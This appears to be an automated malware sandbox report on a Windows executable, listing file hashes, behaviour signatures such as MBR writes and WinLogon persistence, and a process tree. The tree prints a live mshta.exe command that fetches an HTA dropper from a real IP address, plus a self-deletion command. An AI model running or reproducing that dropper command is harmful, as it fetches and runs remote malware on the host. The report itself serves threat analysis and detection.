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Overview

overview

10

Static

static

7

ee853c3a35...18.exe

windows7-x64

10

ee853c3a35...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/09/2024, 22:09

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General

  • Target

    ee853c3a359058ae44734912d6cf6cbe_JaffaCakes118.exe

  • Size

    2.3MB

  • MD5

    ee853c3a359058ae44734912d6cf6cbe

  • SHA1

    1fa3b14ce55ef939a9bbb466e628ee11b33dba7e

  • SHA256

    4517bb5a59310e5412ab90e4e741bec4124990f61897672b75c7e1afe0e959e9

  • SHA512

    1cb670e54674e85f1cde5fd59aa5f4feea5cef2074e88604fa09012c277bc8e16b38209e28d53f2a7e4567f0ccded5ac056f5373d7945857881376b9e17a9ff5

  • SSDEEP

    49152:HIiEK54KS/mF2mEEjlavGhS5KDoy/8yCRgTpQGIdMp3dHJZ1gSRQFl0n:HIiEKT2GphSsDmiOrM1tJngoQbC

Score
10/10
bootkitdefense_evasiondiscoverypersistenceupx

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://78.26.187.35/soft-usage/favicon.ico?0=1200&1=KHBTHJFA&2=i-s&3=18&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Blocklisted process makes network request 2 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ee853c3a359058ae44734912d6cf6cbe_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\ee853c3a359058ae44734912d6cf6cbe_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Writes to the Master Boot Record (MBR)
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Users\Admin\AppData\Roaming\protect.exe
      "C:\Users\Admin\AppData\Roaming\protect.exe" C:\Users\Admin\AppData\Local\Temp\ee853c3a359058ae44734912d6cf6cbe_JaffaCakes118.exe
      2⤵
      • Modifies WinLogon for persistence
      • Deletes itself
      • Executes dropped EXE
      • Writes to the Master Boot Record (MBR)
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1780
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://78.26.187.35/soft-usage/favicon.ico?0=1200&1=KHBTHJFA&2=i-s&3=18&4=7601&5=6&6=1&7=99600&8=1033"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2964
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EE853C~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2224

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\protect.exe
    Filesize

    2.3MB

    MD5

    ee853c3a359058ae44734912d6cf6cbe

    SHA1

    1fa3b14ce55ef939a9bbb466e628ee11b33dba7e

    SHA256

    4517bb5a59310e5412ab90e4e741bec4124990f61897672b75c7e1afe0e959e9

    SHA512

    1cb670e54674e85f1cde5fd59aa5f4feea5cef2074e88604fa09012c277bc8e16b38209e28d53f2a7e4567f0ccded5ac056f5373d7945857881376b9e17a9ff5

    Download Submit

  • memory/1780-15-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

    Download

  • memory/1780-16-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1780-18-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

    Download

  • memory/1780-20-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1780-26-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

    Download

  • memory/2036-0-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

    Download

  • memory/2036-1-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2036-12-0x0000000000400000-0x00000000008ED000-memory.dmp

    Filesize

    4.9MB

    Download

  • memory/2036-10-0x0000000003FE0000-0x00000000044CD000-memory.dmp

    Filesize

    4.9MB

    Download

  • memory/2036-13-0x0000000003FE0000-0x00000000044CD000-memory.dmp

    Filesize

    4.9MB

    Download

  • memory/2036-17-0x0000000003FE0000-0x00000000044CD000-memory.dmp

    Filesize

    4.9MB

    Download